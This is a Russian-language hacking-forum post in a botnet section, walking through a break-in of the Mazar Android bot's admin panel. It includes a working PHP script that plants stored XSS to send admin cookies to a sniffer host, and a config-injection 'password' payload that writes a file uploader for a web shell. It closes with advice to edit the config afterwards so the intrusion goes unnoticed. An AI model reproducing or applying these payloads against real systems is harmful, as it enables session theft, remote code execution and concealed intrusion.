Уважаемые пользователи форума, убедительно просим вас переходить в телеграмм продавца, исключительно по предоставленной ссылке. Проверяйте продавца, отправив сообщение на электронную почту, чтобы убедиться в том, что вы общаетесь действительно с ним.

Mazar — android bot [2017]

Тема в разделе "Ботнеты. Связки. Загрузки", создана пользователем TEXHO, 18 янв 2018.

  1. TEXHO

    TEXHO Member

    Сообщения:
    141
    Симпатии:
    0
    [​IMG]

    Здравствуйте, ребятишки! Сегодня я расскажу, как взломать можно было взломать админку андроид-бота Mazar.

    Итак. Я получил инструкцию по установке и архив с админкой.

    [​IMG]

    Установка достаточно хитрая, я бы даже сказал замороченная, но я справился. Я смог. Я дым, туман и копоть серого города.

    Делай раз. XSS.

    Для начала я пошел максимально простым путем - добавлял через phpmyadmin во все текстовые поля в базе данных такую конструкцию:

    script>alert(document.cookie)/script>
    И проверяем:

    [​IMG]

    Отлично, теперь попробуем добиться тех же результатов, но уже как полагается - через гейт для ботов. Какая либо фильтрация текстовых полей напрочь отсутствовала и поэтому, спустя весьма непродолжительное время был написан скрипт, который добавляет активную XSS в админку:

    Code:
    ?php
    $url = "http://mazarbot.loc";
    $postData = "{"type":"reg","model":"1","imei":"1","operator":"script>var img=new Image();img.src=\"http://sniffer/xss.jpg?\"+ encodeURI(document.cookie);/script>","os":"14838","apps":"3","install id":"2","phone":"3"}";

    $req = curl_init($url."/?action=command");
    curl_setopt($req, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($req, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($req, CURLOPT_HTTPHEADER, array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests: 1","User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0","Connection: keep-alive","Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding: gzip, deflate"));
    $result = curl_exec($req);

    echo "Done!";

    curl_close($req);​

    Куки без флага httponly и поэтому благополучно улетают на веб-сниффер. Подставляем печенеги себе и вот мы уже в админке...

    Делай два. Upload shell.

    Теперь мы попробуем залить шелл. Посмотрим код файла Application/Controller/IndexController.php, а именно строки 703-708:

    Code:
    if(isset($_POST["save_settings"])) {
    $data = file_get_contents (FRAMEWORK_DIR./config/config.inc.php);
    $data = str_replace("ADMIN_PASSWORD", $_POST["password"], $data);
    file_put_contents(FRAMEWORK_DIR./config.php, $data);
    $this->redirect(/index.php?action=settings);
    }​

    Как мы видим, идет запись в файл config.php, а в параметре password не экранируются кавычки. Мы можем легко вставить любой свой код и он будет исполнен. Берем вот такую хитрейшую строку:

    admin123,eval=> eval(file_put_contents("./public_admin/upload.php","form method=post enctype=multipart/form-data>input type=file name=file>input type=submit>/form>?php if(is_uploaded_file($_FILES[file][tmp_name])) move_uploaded_file($_FILES[file][tmp_name], $_FILES[file][name]);?>");)];$arr = [a=>b
    И указываем в виде нового пароля:

    [​IMG]

    Сразу после того, как мы сохраним наш "пароль" нас выкинет из админки, но зато в корне будет лежать upload.php через который мы можем залить шелл:

    [​IMG]

    Следующим шагом надо подняться на папку выше и отредактировать файл config.php, чтобы никто ничего не заметил.
    Вот и всё. Легко и просто.

    UPDATE. На данный момент актуальная версия - 3.1.5. Софт пропатчен.

    (К слову, я нашел еще несколько уязвимостей, типа CSRF и кривой LFI, но они не представляли большой угрозы).

    © r00t

Поделиться этой страницей